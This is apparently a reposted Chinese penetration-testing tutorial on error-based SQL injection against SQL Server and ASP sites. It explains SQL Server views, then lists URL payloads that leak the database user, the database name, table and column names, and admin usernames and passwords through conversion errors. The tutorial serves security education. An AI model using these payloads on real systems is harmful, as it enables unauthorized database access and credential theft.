73.网络安全渗透测试—[SQL注入篇12]—[SQLSEVER+ASP-视图查询报错注入]

本文阅读 5 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、SQLSEVER+ASP 视图查询报错注入

其报错的原理还是类型转换失败时,显示其相应的信息。不过我们用到了视图查询!!!

1、SQLSERVER 视图概念

(1)前言:

         我们知道MySQL在注入的时候,会用到默认存在的information_schema数据库,该库里面存储着许多与数据库相关的信息。同样的在SQL_SERVER 中,每个数据库中都有视图,通俗的说就是虚拟联合表,其视图下存在一个默认的系统视图,其中存放了很多关于这个库的信息。比如information_schema.columns视图,就存放着当前数据库的所有列信息!!!

--1、视图知识点
--(1)视图是从一个或多个基本表导出的虚/引用表,不进行实际的存储
--(2)操作视图就是在操作与视图相关联的基本表
--(3)只能在当前数据库中创建视图
--(4)创建视图:SSMS图形化创建、T-SQL命令创建
--(5)基本表更新了新字段,必须重新创建视图才能更新视图新字段
--(6)基本表被删除了,视图就不能使用了
--(7)视图:不能使用order by命令、不能使用into子句、不能在临时表或表变量上创建视图
--(8)分区视图:本地分区视图、分布式分区视图
--(9)要通过更新视图来更新基本表数据,必须保证视图为可更新视图

--2、视图示例
--(1)创建ccj视图,包括计算机专业各学生的学号、其选修的课程号及成绩。要保证对该视图的修改都符合专业为计算机的这个条件
    create view ccj with encryption
        as select xs.sno,cno,grade from xs,cjb where xs.sno=cjb.sno and major ='计算机';
        with check option;
--(2)创建计算机专业学生的平均成绩视图ccj_avg,包括学号(在视图中列名为num)和平均成绩(在视图中列名为score_avg)
    create view ccj_avg(num,score_avg)
        as select sno,avg(grade) from cjb group by sno;
--(3)视图查询:显示ccj和ccj_avg视图中的内容:
    select * from ccj;
    select * from ccj_avg where score_avg>=75;
--(4)更新视图:插入数据
--向cxs视图中插入记录
    insert into cxs values('191315','刘明仪',1,'1996-3-2',50);
--(5)更新视图:修改数据(实际修改的是基本表数据)
--将cxs视图中所有学生的总学分加1
    update cxs set 总学分=总学分+1;
--将ccj视图中学号为191301的学生的101课程的成绩改为90
    update ccj set 成绩=90 where 学号='191301' and 课程号='101';
--(6)修改视图的定义:将cxs视图修改为只包含计算机专业学生的学号、姓名和总学分
    alter view cxs
        as select 学号,姓名,总学分 from xsb where 专业='计算机';
--视图ccj是加密存储视图,修改其定义,包括学号、姓名、选修课程号、课程名和成绩
    alter view ccj with encryption
        as select xsb.学号,姓名,cjb.课程号,课程名,成绩 from xsb.cjb.kcb
            where xsb.学号=cjb.学号 and cjb.课程号=kcb.课程号 and 专业='计算机'
            with check option;
--删除视图:删除视图cxs和ccj;
    drop view cxs,ccj;

--3、总结
--(1)创建视图:create view xxx as select
--存储加密:with encryption
--符合select条件:with check option
--(2)删除视图:drop view xxx
--(3)修改视图定义:alter view xxx as select
--(4)查询视图:select *  from ccj
--(5)更新视图:插入数据:insert into xxx values()
--(6)更新视图:修改数据:update xxx set xxx=xxx

--4、系统视图:有三个重要的表
--(1)存放数据库相关信息:INFORMATION_SCHEMA.SHCEMATA
--(2)存放数据表相关信息:INFORMATION_SCHEMA.TABLES
--(3)存放字段相关信息:INFORMATION_SCHEMA.COLUMNS

(2)系统视图,如下图所示: img (3)INFORMATION_SCHEMA.TABLES视图里面存储着所有的列相关信息,其最重要的就是列名字段,如下图所示:最重要的一点,MySQL里面table_schema表示的是库名,而SQL SERVER里面table_schema表示的是表的用户,很明显从以下图中可以发现此时的库名用table_catalog表示 img (4)information_schema.columns视图: img

(5)information_schema.schemata视图: img

2、SQLSEVER+ASP 视图查询报错注入示例

(1)查询当前用户名: ?id=1 and user_name()>0 img

(2)查询当前数据库名:?id=1 and db_name()>0 img

(3)根据用户名爆出某个用户的所有表:?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>1 img

(4)根据数据库名爆出某个库的所有表:?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG='mydb' FOR XML PATH)>1 img

(5)根据表名爆出某个表所有列:?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1

img

(6)根据用户名爆出所有表的所有列:?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_CATALOG='mydb' FOR XML PATH)>1 img

(7)爆出admin表的数据:?id=1 and (select username,password from admin FOR XML PATH)>1 img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122569918
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复